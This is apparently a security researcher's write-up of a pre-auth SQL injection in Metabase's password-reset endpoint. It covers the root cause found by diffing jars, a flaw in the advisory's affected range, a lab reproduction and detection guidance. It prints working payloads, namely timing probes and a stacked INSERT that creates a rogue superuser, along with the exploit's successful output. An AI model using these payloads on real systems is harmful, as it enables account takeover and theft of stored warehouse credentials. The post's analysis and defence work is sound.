Most injection bugs are a string concatenation somebody forgot to parameterise. This one is not. Every query in the path is parameterised. The application database driver is fine. The ORM is fine. There is no str/join anywhere near the sink.

The bug is that a JSON object arriving in an unauthenticated request body was allowed to be a query fragment. Not to be interpolated into one — to be one. {"raw": "..."} in JSON becomes {:raw "..."} in Clojure, and {:raw "..."} is HoneySQL’s way of saying “emit this string as SQL, verbatim, do not touch it.” The attacker did not defeat the query builder. The attacker spoke to it.

That is CVE-2026-72898, in Metabase. It scores 10.0 on both CVSS 3.1 and 4.0, it was exploited as a zero-day against Metabase’s own cloud before anybody knew it existed, and CISA added it to KEV five days after the patch with a three-day remediation deadline and a forensic triage requirement. What follows is the root cause recovered by diffing three 660 MB uberjars, then confirmed end to end in a lab: a rogue superuser, created from nothing, logging in through the ordinary web form.

If you don’t live in this corner of the world, the thirty-second version. Metabase is a business-intelligence front end: you point it at your data warehouses, it gives your company dashboards and a query builder, and non-engineers use it all day. To do that it keeps its own separate database — the application database — holding users, sessions, API keys, permissions, and the connection credentials for every warehouse it is attached to.

So the reason this matters is not that a dashboard tool had a SQL bug. It is that the database the SQL bug reaches is the one holding the keys to every other database in the building. Compromising Metabase’s application database is a credential heist with a side of full admin.

This is not new ground, and this post does not pretend otherwise. By the time we picked it up there were nine public repositories carrying working exploit code and a source-level root-cause analysis on GitHub. The prior art section names all of them, and if you want a PoC you should use theirs.

What is left after all that, and the reason this post exists, is four things nobody else wrote down. The vendor’s fix shipped with a docstring explaining, in careful prose, exactly why the bug existed — compiled into the jar, where anybody who runs strings on it can read it, and absent from every public analysis because every public analysis worked from source tags that do not include it. The advisory’s affected range names a release that is already fixed: the vendor lists 0.63.0 through 0.63.3 as affected, and 0.63.3 carries the complete fix and refuses the attack. Only one of the two spellings works, and it is not obvious which from reading the patch. And the whole thing is reachable by diffing three 660 MB Clojure uberjars, a technique with its own trap and its own trick, which nobody needed here but will on the next Clojure product whose vendor does not publish the fixed tag.

A note on jargon. This is written for people who read advisories for fun, so it does not stop to define things as it goes. There is a keywords section at the bottom that explains the lot in plain language, in roughly the order you’ll hit it.

Everything here was reproduced against official Docker images on an isolated workstation. No third-party Metabase was contacted at any point. There is no exposure census in this post because we did not run one.


The short version

FieldValue
CVECVE-2026-72898
CVSS v3.110.0 CRITICAL, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v4.010.0 CRITICAL, AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
ProductMetabase OSS (0.x) and Enterprise/Pro (1.x)
ClassCWE-89, SQL injection. Unauthenticated, no user interaction
EndpointPOST /api/session/reset_password
Affected (per vendor)0.58.0–0.58.23, 0.59.0–0.59.20, 0.60.0–0.60.16, 0.61.0–0.61.10, 0.62.0–0.62.8, 0.63.0–0.63.3 — and the matching 1.x builds
Fixed (per vendor)0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5
Affected (measured)0.63.2 is exploitable. 0.63.3 is not — it carries the complete fix and rejects the attack. See the version section
ExploitedYes, as a zero-day. Discovered 2026-08-03 when a Metabase Cloud customer reported API keys they did not create
KEVAdded 2026-08-11, due 2026-08-14, forensicTriage: Yes
Prior artExtensive. 9 public GitHub repos, several with working exploit code, earliest 2026-08-12. A public source-level root-cause analysis. See prior art
Root causeAn open (non-:closed) request schema on an unauthenticated endpoint, plus a merge that let a caller-supplied key survive into a Toucan2/HoneySQL user lookup as a raw clause

S:C — scope changed — is doing real work in that vector. The vulnerable component is Metabase. The impacted components are every warehouse whose credentials Metabase is holding.


If you run Metabase, start here

Patch, then assume breach. This was exploited in the wild before it was known. CISA’s KEV entry carries a forensic triage requirement, which is not the usual KEV boilerplate — it means “go and look”, not just “go and patch”.

The one-request test, from wherever your monitoring already reaches your own instances:

POST /api/session/reset_password
Content-Type: application/json

{"token":"aaaaaaaa_bbbbbbbb","password":"Aa1!xxxxxxxxxxxx","user-id":{"raw":"1"}}
responseverdict
{"errors":{"user-id":"unexpected key"}}Patched. The schema is closed; the key never reaches the pipeline
{"errors":{"password":"Invalid reset token"}}Vulnerable. The undeclared key was accepted and carried into the query builder
{"errors":{"_error":"Too many attempts!..."}}Throttled. Ten an hour per source IP. Try again later

The token has to be syntactically plausible (<digits>_<anything>) and must fail — a valid token takes a different path. The password has to satisfy the complexity schema or you get a password error instead and learn nothing. Get either wrong and you get a clean-looking false negative.

Then the six steps:

1. Patch: 0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5 (or 1.x equiv).
2. Block /api/session/reset_password at the proxy until you have.
3. Behavioural test, one request, per instance. (the advisory's range is wrong)
4. Hunt: POST /api/session/reset_password 400, then a 200 from the same source.
5. Audit: core_user rows you did not create, is_superuser, api_key, core_session.
6. ROTATE EVERY DATA SOURCE CREDENTIAL. This is the step people skip.

Step 6 is the whole point of the CVE and the easiest to rationalise away. The bug gives an attacker arbitrary SQL against the application database. The application database is where Metabase stores the username and password for every warehouse you connected it to. Patching does not un-disclose those.

Step 4 has a specific shape, and the vendor’s own incident report names it: a 400 from POST /api/session/reset_password followed shortly by a 200 from GET /api/user/current on the same source. The reset “fails” — it always returns 400, even on total success — and then the attacker logs in as somebody who did not exist a second ago. Our PoC produces exactly that pair, which is a good sign for the detection and a bad one for anybody relying on the 400 to mean the attack failed.


What we’re even looking at

Metabase is a single JVM application. One uberjar, 660 MB, Clojure on the JVM, about 3,000 namespaces. It has two databases and confusing them is how people misjudge this bug.

The data sources are your warehouses — Postgres, Snowflake, BigQuery, Redshift, whatever you attached. Metabase queries them on behalf of users. This is what everybody thinks of as “the database Metabase talks to”, and it is not what this CVE touches.

The application database is Metabase’s own storage: core_user, core_session, auth_identity, api_key, permissions, dashboards — and the encrypted-at-rest connection details for every data source. By default it is H2, an embedded file-based database, because that is what you get when you docker run the thing and never configure anything. Production deployments are told to use Postgres or MySQL instead, and many do; plenty do not.

That default matters more than it usually would, because H2 happily executes several statements in one go and Postgres does not.

Authentication has a pipeline. metabase.auth-identity.provider defines three multimethods — validate, authenticate, login! — and providers plug into it: password, LDAP, Google, and in the enterprise build JWT and SAML. A password reset is a provider too. Its token has a documented shape, recovered verbatim from the jar:

Password reset tokens follow the format `USER-ID_RANDOM-UUID` (e.g., `123_abc-def-ghi`).
Returns the user ID as an integer if the token matches this format, or nil if the
token format is invalid.

So the reset flow is meant to derive user-id from the token. Keep that sentence in mind. It is the whole bug.


Why we picked it up

Seven-day freshcve --unauth --min-cvss 9 pull. The usual filter: critical, pre-auth, network-reachable, something a customer actually runs facing the actual internet. Libraries, CMS plugins and desktop apps get binned.

This one won on four things.

Product class. Internet-facing analytics console with stored credentials for everything behind it. The blast radius is not the app, it is the warehouses.

Every artefact is free. Metabase OSS publishes signed jars and Docker images for every release. metabase/metabase:v0.63.2 and v0.63.3 are one docker pull each. No licence, no entitlement, no vendor portal.

KEV with a forensic triage flag. This was not a theoretical critical. It was already being used.

And it is a clean teaching diff. Three releases, one of them the real fix boundary and not the advertised one, in a language whose build makes naive diffing useless. We went in expecting the vector to be unpublished. It was not. What the jars had that the public record did not was the vendor’s own explanation, and the method that got us there is the transferable part.

Has somebody already done this?

Yes. Comprehensively. Checked 2026-09-17, and this table decays faster than anything else in the post, so treat the date as part of the claim.

ChannelResult
GitHub repo search, CVE-2026-728989 repositories
Metabase incident reportReal and good. Timeline, IoCs, attacker behaviour
Bishop FoxReal. The vulnerability class and the patch’s effect. Explicitly analysis only
CISA KEV / CSAF VA-26-222-01Listed. No technical detail

The repositories, read statically — never run — and characterised honestly:

repofirst pushedwhat it is
0xBlackash/CVE-2026-728982026-08-12Safe-check script. First public artefact we found
codeb0ssx/CVE-2026-72898-PoC2026-08-13README only, 214 bytes. No code
VuxNx/CVE-2026-728982026-08-15Real, and one line. A curl with "user-id":{"raw":"1) OR 1=1 -- "}
4minx/CVE-2026-728982026-08-15Real exploit. Stacked INSERT INTO core_session selecting the first active superuser — the technique the actual attacker used
Franc-Zar/...-safe-detection2026-08-16Non-destructive scanner
d-maggipinto/...-metabase-sqli2026-08-26Detector plus a source-level root-cause analysis. See below
EQSTLab/CVE-2026-728982026-08-27Real exploit, 22 stars. Blind binary-search extraction over pg_sleep, with X-Forwarded-For rotation to defeat the per-IP throttle. Ships a Docker lab
34zY/CVE-2026-728982026-09-14Exploit, plus a scanner check of its own
ubitquity/Metabase-Setup-Endpoint-SQLi-Fix—Remediation, not exploitation

So: the vector is public, the payload is public, and weaponised extraction is public. If you came here for a PoC, use one of theirs.

One of those deserves singling out. d-maggipinto’s TECHNICAL.md is a genuinely good piece of work and it beat us to the root cause by three weeks, via a route we did not think of: patch releases are cut from private branches so v0.63.4 and v0.63.5 never appear in the public repo, but v0.63.15 does, and diffing v0.63.2 against v0.63.15 in source recovers the fix directly. It names {:closed true} and a select-keys allowlist in session/api.clj, and quotes the login! :around method and the (catch Throwable _ {:success? false}) in with-fallback that makes the bug blind. All of that is correct, and our binary diff independently reproduces it — select-keys shows up in our constant-pool diff of the session namespace too.

Which raises the fair question of why this post exists at all, and the answer is on the next line rather than buried at the end.

What is here that is not there. The public analyses work from source tags. Source tags are not what people run. The jar is, and the jar holds one thing the source comparison at v0.63.15 does not surface: authenticate-owned-keys, the function added in 0.63.3 alongside the schema flag, with an eighteen-key denylist and a docstring in which the vendor writes out the bug class in plain English. That, the measured proof that 0.63.3 is already fixed despite the advisory listing it as affected, the kebab-versus-snake key measurement, and the Clojure-uberjar diff method itself, are the contribution. Everything else in this post you can get elsewhere, and the elsewhere is linked above.

Standard caveat, worth keeping even when it cuts this way: this was a zero-day. Somebody’s private tooling had it before anybody’s GitHub did, and the 2026-08-12 timestamp above is the first public artefact, not the first artefact.


Finding the diff boundary

The first question on any patch diff is which two artefacts to compare, and here the advisory hands you an answer that is wrong.

The vendor’s table says 0.63.0–0.63.3 affected, 0.63.5 fixed. So: pull 0.63.3 and 0.63.5, diff them, done.

Both jars, 660 MB each, ~296,180 entries each. CRC every entry on both sides and compare:

changed entries        15,048
only in 0.63.3         29,547
only in 0.63.5         29,551

Seventy-four thousand differences between two point releases. That is not a patch, that is noise, and the reason is Clojure.

Clojure compiles anonymous functions to classes named by a global counter. A function in metabase.session.api is not handler.class, it is api$fn__159642$fn__159648.class. That counter increments across the entire build in load order, so inserting one form anywhere near the front of the compilation shifts every gensym after it. fn__159642 becomes fn__157711, and a name-keyed diff reports both as added and removed.

Normalise the names — strip the digits, keep the structure — and it improves, but not enough:

changed entries (normalised)    11,848
only in 0.63.3                     309
only in 0.63.5                     311

Still 11,848 changed classes, and they are changed for a reason that has nothing to do with the patch: a class that calls fn__159642 embeds that name as a literal in its own constant pool, so its bytes change when the counter shifts even though its behaviour and its length do not. The signal is real. It is buried under a full recompilation.

What works is aggregating one level up. Forget classes; sum every class’s size per namespace, and count the classes. A namespace whose source did not change compiles to the same total bytes and the same class count, whatever the gensyms did. It is the Clojure analogue of reading function sizes out of .gopclntab: a stable size signal that survives the churn.

That collapses 296,180 entries into ~3,040 rows. And across 0.63.3 → 0.63.5, it gives this:

27 namespaces changed, out of 3,042

Here they are, all of them:

analytics/prometheus            driver/sql/query_processor      pivot/postprocess
channel/render/body             lib/schema/parameter            queries/models/card
cloud_migration/...             metabot/self                    query_processor/middleware/cache
dashboards/models/dashboard     metabot/tools/entity_details    query_processor/middleware/permissions
driver/bigquery_cloud_sdk       notification/payload/...        query_processor/parameters/values
driver/bigquery_cloud_sdk/...   notification/send               query_processor/setup
driver/sql_jdbc/execute         server/middleware/log           server/streaming_response
                                sync/analyze                    sync/task/sync_databases
                                util/compress

Not one of them is in the authentication path. No session, no auth_identity, no api/macros, no request/schema. Two releases, one of them named in the advisory as the fix for a CVSS 10.0 authentication bug, and the auth namespaces are byte-for-byte identical.

Either the fix is not a code change — it is not, we checked the resources too — or the fix is not in 0.63.5.

So we moved the boundary down and pulled 0.63.2.

pairnamespaces changed
0.63.3 → 0.63.527, none in auth
0.63.2 → 0.63.3110, including two that matter

There it is.


The diff

Two namespaces out of 110 are in the authentication path, and both are exactly where you would want them:

namespace0.63.20.63.3delta
metabase/session/api195,261 B / 64 classes195,670 B / 64 classes+409 B, no new function
metabase/auth_identity/provider94,107 B / 30 classes102,943 B / 31 classes+8,836 B, one new function

And both are byte-identical in 0.63.5. Whatever happened, happened in 0.63.3 and has not been touched since.

A small growth with no new function is a changed literal. A large growth with a new function is new logic. That is two different fixes, in two different places, and they turn out to be the two halves of the story: one closes the door, the other moves the valuables away from it.

Half one: four hundred bytes and a single word

metabase/session/api gained 409 bytes and no functions. In a Clojure jar that normally means a constant changed. So: dump the constant pool of every class in the namespace on both sides, and diff the string sets.

One word appears in 0.63.3 that does not appear in 0.63.2:

closed

Exactly one class contains it, out of 64. Zero classes in 0.63.2 contain it. That class is the route definition for POST /api/session/reset_password.

closed is Malli — Metabase’s schema library. A map schema is open by default: keys you did not declare are ignored and pass through. {:closed true} rejects them.

So in 0.63.2 the reset-password body schema declares token and password, validates those two, and lets anything else in the JSON object through untouched into the handler. In 0.63.3 it does not. That is the entire first half of the fix: one flag, on one route.

You can watch it from outside. Against a patched instance:

$ curl -s :3003/api/session/reset_password -d '{"token":"a_b","password":"Aa1!xxxxxxxx","user-id":{"raw":"1"}}'
{"specific-errors":{"user-id":["disallowed key, received: {:raw \"1\"}"]},
 "errors":{"user-id":"unexpected key"}}

Malli tells you not only that the key was refused but what it was carrying. Which is generous of it, and makes for an unambiguous detection signal.

Half two: the function they added

metabase/auth_identity/provider gained 8,836 bytes and one function. The namespace has 30 functions in 0.63.2 and 31 in 0.63.3, and the new one is named in the constant pool:

authenticate-owned-keys

Alongside it, in the same pool, eighteen keywords in a row:

:user-id  :user_id  :user-data  :auth-identity  :provider-id  :success?  :session
:error  :message  :mfa  :pending?  :methods  :first-factor  :jwt-data  :claims
:tenant-slug  :tenant-attributes  :user-provisioning-enabled?

And the only class in the namespace that both grew significantly and references the new var is this one:

provider$login_BANG__around_method_metabase_auth_identity_provider_provider.class
6,337 bytes  ->  11,779 bytes

That is the :around method on login! — the wrapper that runs on every authentication in the product, whichever provider is handling it. Its constant pool in 0.63.3 gains apply, dissoc, authenticate-owned-keys, pos-int?, true?, a clojure.tools.logging logger, and one new message string:

Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user.

So the second half is two guards: strip those eighteen keys from the merge base before merging, and then refuse to proceed unless what comes out the other side is a positive integer. Belt, and separately, braces.

The confession in the constant pool

The best artefact in this whole diff is not code. Clojure stores docstrings as ordinary string constants in the namespace’s __init class, which means the documentation for a fix ships inside the compiled jar. Here is the docstring on authenticate-owned-keys, reassembled from the constant pool of metabase/auth_identity/provider__init.class in 0.63.3:

Keys the pipeline derives for itself, dropped from the merge base. Callers forward user-controlled maps into [[login!]] — the SSO integrations pass the whole Ring request — and a surviving copy of any of these would let the caller name the account it logs into, assert its own success, or steer tenant sync. :user_id is here because JSON keywordizes verbatim: a body can carry the snake_case spelling alongside the kebab-case key resolution reads. A key the caller legitimately supplies and the pipeline only reads back does not belong on this list; :oidc-provider-key is one, and dropping it disables OIDC group sync silently.

Read that again, because it is the entire vulnerability written by the people who fixed it.

“Callers forward user-controlled maps into login!” — the request body is the merge base.

“a surviving copy of any of these” — the caller’s key survives because the pipeline merges its own result over the caller’s map, and when authentication fails the pipeline has no :user-id of its own to overwrite it with.

“would let the caller name the account it logs into” — that is not the SQL injection. That is the other bug in the same line, the one where you just pass "user-id": 1 and the pipeline resolves user 1. The injection is what you get when you pass something that is not an integer at all.

“assert its own success” — :success? is on the list. In 0.63.2 a caller could put "success?": true in a password-reset body.

And the last two sentences are a maintenance note to the future, explaining which keys don’t belong on the denylist and what breaks if you add one carelessly. That is a genuinely good comment. It is also a complete disclosure of the bug class, compiled into a public artefact, indexed by nothing, sitting there for anybody who runs strings.


The sink

Put the two halves together and the path is four steps, three of which are individually reasonable.

1. The body is open. POST /api/session/reset_password is unauthenticated by design — you cannot require a session to reset a forgotten password. Its Malli schema declares token and password. In 0.63.2 it is not :closed, so {"token": ..., "password": ..., "user-id": ...} validates fine and the handler receives all three.

2. The request map is the merge base. login!’s :around method calls authenticate on the provider and merges the result over the caller’s map. The docstring above says so in as many words. For a password reset, authenticate is supposed to parse user-id out of the token — USER-ID_RANDOM-UUID — and return it.

3. A failing token leaves the hole open. Give it a token that cannot validate and authenticate returns a failure map that contains no :user-id. There is nothing to overwrite the caller’s :user-id with. It survives.

4. The survivor goes into the query builder. The merged map’s :user-id is handed to toucan2.core/select-one against :model/User. Toucan2 builds queries with HoneySQL. And HoneySQL, handed a map where a value was expected, reads it as a clause. {:raw "..."} is HoneySQL’s escape hatch: emit this string as SQL, verbatim, unparameterised.

JSON does the last mile for free. Metabase keywordizes JSON object keys, so

"user-id": {"raw": "(SELECT 1 FROM pg_sleep(6))"}

arrives in Clojure as

{:user-id {:raw "(SELECT 1 FROM pg_sleep(6))"}}

and comes out the other side as

... WHERE "ID" = ((SELECT 1 FROM pg_sleep(6)))

Nobody concatenated anything. The attacker handed the query builder a query-builder object and the query builder did its job.

The parenthesis is load-bearing, and you can read it straight off a working payload. Ours starts 1); and ends SELECT 1 --, which only closes and re-opens correctly if the raw fragment lands inside = (…). Between those, on H2, you may put statements.

Kebab, not snake

Every public PoC uses user-id, and every one of them is right to. What none of them states is what happens if you reach for the other spelling — which matters, because the fix denies both and a reader working backwards from the fix could reasonably pick either. Against 0.63.2, measured:

key spellingresponsetime
"user-id"Invalid reset token2.235 s
"user_id"Invalid reset token0.021 s

Same payload, same instance, seconds apart. The kebab-case spelling executes SQL. The snake_case spelling does nothing. The pipeline in 0.63.2 reads :user-id; a :user_id in the body is an undeclared key that nothing ever looks at, so it rides along harmlessly and dies at the end of the request.

Which makes the fix’s docstring more interesting, not less: :user_id is on the denylist, with an explanation — “JSON keywordizes verbatim: a body can carry the snake_case spelling alongside the kebab-case key resolution reads.” They denied both spellings because somewhere in that pipeline, or in some provider, or in some future version, the other one resolves too. That is the right call and it is not the spelling that works today on 0.63.2.

If you are writing a detection, test the one that fires. If you are writing a mitigation, deny both.


The lab

Four containers, no build step, because Metabase ships images.

3002   metabase/metabase:v0.63.2   VULNERABLE   H2 (the default app db)
3003   metabase/metabase:v0.63.3   PATCHED      H2
3004   metabase/metabase:v0.63.2   VULNERABLE   Postgres app db

The setup wizard is completed on each, so core_user has a real id=1 admin and the instance behaves like a deployed one rather than a first-boot one.

3004 exists because the default app db and the recommended app db behave differently under this bug, and a post that only tested H2 would overstate one thing and understate another.

The probe: a dialect oracle

Before exploiting anything, measure. The probe sends four requests — a baseline and three payloads, one per application-database dialect — all with tokens that cannot validate, all read-only, no INSERT, no state change:

baseline   {"token":"…","password":"…"}
h2         "user-id":{"raw":"(SELECT COUNT(*) FROM SYSTEM_RANGE(1,6000) A, SYSTEM_RANGE(1,6000) B)"}
postgres   "user-id":{"raw":"(SELECT 1 FROM pg_sleep(6))"}
mysql      "user-id":{"raw":"(SELECT SLEEP(6))"}

The H2 payload is a self-cross-join over SYSTEM_RANGE, a generator function. It touches no table, writes nothing, and costs about 36 million row-comparisons, which is a couple of seconds of CPU. It is the safest way to make H2 take measurable time.

Measured, on the lab, in one run each:

:3002 — v0.63.2, H2

baseline        {"errors":{"password":"Invalid reset token"}}   [400]  t=0.090
user-id h2      {"errors":{"password":"Invalid reset token"}}   [400]  t=2.294   <--
user-id pg      {"errors":{"password":"Invalid reset token"}}   [400]  t=0.066
user-id mysql   {"errors":{"password":"Invalid reset token"}}   [400]  t=0.016

:3004 — v0.63.2, Postgres

baseline        {"errors":{"password":"Invalid reset token"}}   [400]  t=0.025
user-id h2      {"errors":{"password":"Invalid reset token"}}   [400]  t=0.024
user-id pg      {"errors":{"password":"Invalid reset token"}}   [400]  t=6.214   <--
user-id mysql   {"errors":{"password":"Invalid reset token"}}   [400]  t=0.018

:3003 — v0.63.3, patched

baseline        {"errors":{"password":"Invalid reset token"}}   [400]  t=0.055
user-id h2      {"errors":{"user-id":"unexpected key"}}         [400]  t=0.054
user-id pg      {"errors":{"user-id":"unexpected key"}}         [400]  t=0.040
user-id mysql   {"errors":{"user-id":"unexpected key"}}         [400]  t=0.028

Three things fall out of that.

The response body is a perfect liar. Every single request on both vulnerable hosts returns the identical 400 Invalid reset token, including the ones that just executed seconds of attacker SQL. There is no error, no stack trace, no difference in status, length or content. The only channel is the clock.

The wrong dialect is silent, not noisy. pg_sleep on an H2 backend does not throw a visible error — it fails inside the lookup, gets swallowed, and returns in 66 milliseconds looking exactly like the baseline. This is the property that makes a three-dialect scan safe: a wrong guess produces a non-answer rather than a false positive.

So the probe fingerprints the application database. Whichever payload is slow tells you what Metabase is storing its users in. That is useful to an attacker — it decides whether stacked statements are on the table — and useful to a defender, because one read-only probe answers both “am I vulnerable” and “how bad is it for me”.

The exploit

Read-only timing proves the sink. It does not prove impact. Impact needs a write, and on H2 a write is available, because H2 executes multiple statements in a single execute call and Postgres, in this driver configuration, does not.

The payload is two INSERTs and a COMMIT, wrapped to close and reopen the parenthesis the sink puts around it:

1);
INSERT INTO core_user (id, email, first_name, last_name, is_superuser, is_active, date_joined, type)
  VALUES (<id>, '<email>', 'rogue', 'admin', TRUE, TRUE, CURRENT_TIMESTAMP, 'personal');
INSERT INTO auth_identity (user_id, provider, provider_id, credentials, created_at, updated_at)
  VALUES (<id>, 'password', '<email>', '{"password_hash":"…","password_salt":"…"}',
          CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);
COMMIT; SELECT 1 --

Two rows, because Metabase splits identity from account: core_user is who you are, auth_identity is how you prove it. The credentials blob is JSON holding a bcrypt hash and a salt, and Metabase’s scheme is bcrypt($2a$, cost 10, salt + password) — the salt is a UUID string prepended to the plaintext before hashing, which we confirmed against the product’s own metabase.util.password/verify-password rather than guessing. That means the PoC can hash any password you like at runtime instead of shipping a fixed one.

We are not creating a session. We are not forging a cookie. We are creating a user account, with a password we chose, that logs in through the normal web form like any employee.

Against :3002:

[STEP 1] Creating superuser '[email protected]' (id=749068800) via stacked INSERT SQLi

--- STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal) ---
HTTP 400
{"errors":{"password":"Invalid reset token"}}
---

[STEP 2] Logging in with the new credentials via POST /api/session

--- AUTHENTICATED (GET /api/user/current) ---
{
  "id": 749068800,
  "email": "[email protected]",
  "first_name": "rogue",
  "last_name": "admin",
  "is_superuser": true,
  "is_active": true
}
---

  RESULT  : SUCCESS
  EVIDENCE: Logged in as '[email protected]' / 'S3cret!pw' (superuser=True). GUI login works.

Note step 1’s response. 400 Invalid reset token is what total compromise looks like. The request that created a superuser is indistinguishable, from the outside, from a user fat-fingering a password reset link. That is why the vendor’s IoC is a pair of log lines and not one: the 400 is noise on its own, and only the 200 that follows it gives the game away.

And the negative control, same script, same payload, :3003:

  RESULT  : FAILURE
  EVIDENCE: target appears PATCHED - 'user-id' rejected at schema validation

Which is the second half of a proof. A test that only fires on the vulnerable host tells you it fires. A test that also stays silent on the patched one tells you what firing means.

The throttle, which is the only thing protecting you

reset_password is rate-limited: ten attempts per hour, per source IP, held in memory. It is why the lab notes say to docker restart between experiments, and it is worth understanding from both sides.

For a scanner it is a budget. Four requests is one probe; you get two probes an hour per instance before the endpoint starts answering Too many attempts!, which is a third state that is neither vulnerable nor patched and must not be scored as either.

For an attacker it is nearly irrelevant, because the attack needs one request. One POST creates the superuser. Everything after that is an ordinary login.

For a defender it means brute-force alerting on this endpoint will not catch this. There is no burst. There is one 400 among however many real password resets your users generate in a day.


The advisory names a release that is already fixed

The vendor’s table, and NVD’s machine-readable copy of it, say 0.63.0 through 0.63.3 affected, fixed in 0.63.5.

0.63.3 is not affected. We have this three ways.

The schema flag is in 0.63.3. The literal closed appears in exactly one class of metabase/session/api in 0.63.3 and in zero classes in 0.63.2. That class is the reset_password route.

The pipeline guard is in 0.63.3. authenticate-owned-keys, its eighteen keywords, its docstring, the apply dissoc, the pos-int? check and the refusing to resolve a user log line are all present in metabase/auth_identity/provider in 0.63.3, in a namespace that gained 8,836 bytes and a function relative to 0.63.2.

0.63.5 adds nothing to either. Both namespaces are byte-identical between 0.63.3 and 0.63.5 — same total size, same class count — and none of the 27 namespaces that did change between those two releases is in the authentication path.

And it behaves. A 0.63.3 container rejects the undeclared key with {"errors":{"user-id":"unexpected key"}}, in 54 milliseconds, on all three dialect payloads, and refuses the full exploit at schema validation.

So one of two things is true. Either 0.63.4 and 0.63.5 contain some further hardening for this CVE that leaves no trace in the auth namespaces — which the byte-level comparison of 0.63.5 says they do not — or the advisory’s 0.63.x row was written against the release train rather than against the commit.

The practical consequence is small and specific, and it is worth naming precisely because it is the opposite of the usual advisory error:

The range over-states, not under-states. Nobody is left exposed by believing it. An operator on 0.63.3 who reads the advisory will upgrade to 0.63.5, and that is fine advice — they should, for the other 27 namespaces if nothing else.

What it breaks is triage and forensics, and that is not nothing on a KEV entry carrying a forensic triage requirement. If you are reconstructing an incident and you place a host in the affected range because it ran 0.63.3, you have mis-scoped the window. If you are writing detection content keyed to < 0.63.5, you will generate false positives on a fixed release. And if you are a scanner author, this is precisely why version-based checks lose to behavioural ones: the banner is accurate, the mapping from banner to verdict is not.

Do not scope this from the version string alone. GET /api/session/properties is unauthenticated and returns version.tag honestly, but on the 0.63 line the tag cannot decide patch state, because one of the versions the advisory calls vulnerable is not. One request to reset_password settles it.


Disclosure

The claim in the section above is a claim about a vendor’s advisory being wrong, so it does not get published without a timeline attached.

2026-08-03   Zero-day exploitation surfaces: a Metabase Cloud customer reports API
             keys they did not create. (vendor incident report)
2026-08-06   Fixed releases published. GHSA-vwf4-m7j8-wcjf.
2026-08-10   NVD publishes. CISA publishes CSAF VA-26-222-01.
2026-08-11   CISA KEV. Due 2026-08-14. forensicTriage: Yes.
2026-08-12   First public PoC (0xBlackash). Eight more repos follow through 2026-09-14.
2026-08-26   Public source-level root-cause analysis (d-maggipinto), via v0.63.2 vs v0.63.15.
2026-09-17   Candidate triaged; jars pulled. Prior art enumerated: the vector, the
             payload and working extraction tooling are all already public.
2026-09-17   Namespace-level diff. 0.63.3 -> 0.63.5 shows nothing in auth.
             Boundary moved to 0.63.2 -> 0.63.3. Root cause identified.
2026-09-17   Lab: three instances, two app-db backends. Read-only probe confirms the
             sink on both. Exploit confirms superuser creation on H2. Patched
             instance refuses both.
2026-09-17   Affected-range discrepancy measured three ways.
2026-09-17   Findings not reported to Metabase prior to publication.
2026-09-17   This post.

That second-to-last line is not rhetorical. The bug itself is fixed, public, in KEV, documented by the vendor themselves, and weaponised in nine public repositories — nothing here is a zero-day and there is nothing to coordinate. The affected-range discrepancy is different: it is the one item in this post Metabase can act on and nobody else can, and correcting it costs them an advisory edit. It errs safe, which is why this is a note rather than an embargo, but an unanswered disclosure is a respectable line in a timeline and a missing one is not.

Worth noting that the discrepancy is visible in the wild already, if you know to look: d-maggipinto’s analysis lists the affected range as ending at 0.63.2, not 0.63.3, and several of the other rows in their table differ from the GHSA’s by one patch level too. They do not remark on it. We are remarking on it, and we measured it rather than inferring it, which is the only thing that separates the two claims.


Detection: a rubric

1. The one request

POST /api/session/reset_password
Content-Type: application/json

{"token":"aaaaaaaa_bbbbbbbb","password":"Aa1!xxxxxxxxxxxx","user-id":{"raw":"1"}}

"unexpected key" in the response means patched. "Invalid reset token" means the undeclared key was accepted. "Too many attempts!" means come back later and score nothing.

Four ways to get a false negative, all of them silent:

  • Wrong spelling. user_id is inert on 0.63.2. Use user-id.
  • Valid token. The token must fail. A token of the shape 123_<uuid> that happens to be live takes a different path entirely.
  • Weak password. The password field is validated before the interesting part. Fail its complexity rule and you get a password error and learn nothing about the key.
  • Throttled. Ten an hour. If you sweep a fleet from one egress IP, you will throttle yourself and read it as “clean”.

2. Timing, if you want to know which database

Only needed when you want the app-db dialect as well as the verdict. Send the dialect payloads from the probe above and watch the clock; whichever one is seconds slow is your backend. On H2 expect roughly 2 s against a 90 ms baseline, on Postgres 6 s against 25 ms. Everything is read-only.

Do not build the primary check on timing. The unexpected key string is a content signal and content signals do not care about network jitter, a loaded JVM or a CDN in front of you.

3. Log hunting, which is the part that matters

The vendor’s incident report gives the signature, and our PoC reproduces it exactly:

POST /api/session/reset_password   400      <- the compromise
GET  /api/user/current             200      <- the attacker, logged in

from the same source, close together. Both lines look innocuous alone. Note that the 400 is on a POST to reset_password that succeeded; the status code carries no information about whether the injection ran.

Three more things to search for, in rough order of usefulness:

Unusual request bodies to that endpoint, if you log them. A legitimate reset body is two keys and a couple of hundred bytes. An exploit body carries SQL and is much larger. Length alone is a decent first filter.

User-agent anomalies. The vendor’s report describes the attacker cycling through 25 browser-mimicking user agents — after initially sending one that read metabase-postgres-admin-session-lab-verifier/1. That is the fingerprint of tooling that was not written by hand. It is also a reminder that “the attacker used a plausible UA” is an assumption with a short shelf life.

Session and API-key creation that does not correspond to a login.

4. Database-side audit

The attack writes to the application database, so the application database is where the evidence is. Four tables:

tablewhat to look for
core_useraccounts you did not create; is_superuser = true; unusual id values; date_joined clustered oddly
auth_identityrows whose user_id has no matching provisioning record
core_sessionsessions for user_id = 1 (or any admin) from addresses that never logged in
api_keykeys with no owner story — the tell that started this whole incident

The attacker in the real incident inserted a session row for user 1 rather than creating an account. Our PoC creates an account instead, because it is the louder and more clearly demonstrable of the two. Hunt for both. An inserted session leaves no core_user row at all.

id is worth a moment. Metabase’s core_user.id is normally a small sequential integer. An injected row can carry any integer the attacker picks, and tooling that wants to avoid collisions picks a large one — ours defaults to a random value in the 700-million range. Sort your user table by id descending and look at the top.

5. After the fact: what patching does not undo

This is the whole reason the KEV entry has a forensic triage flag.

  • Accounts created through the bug are ordinary accounts. They survive the upgrade and keep working.
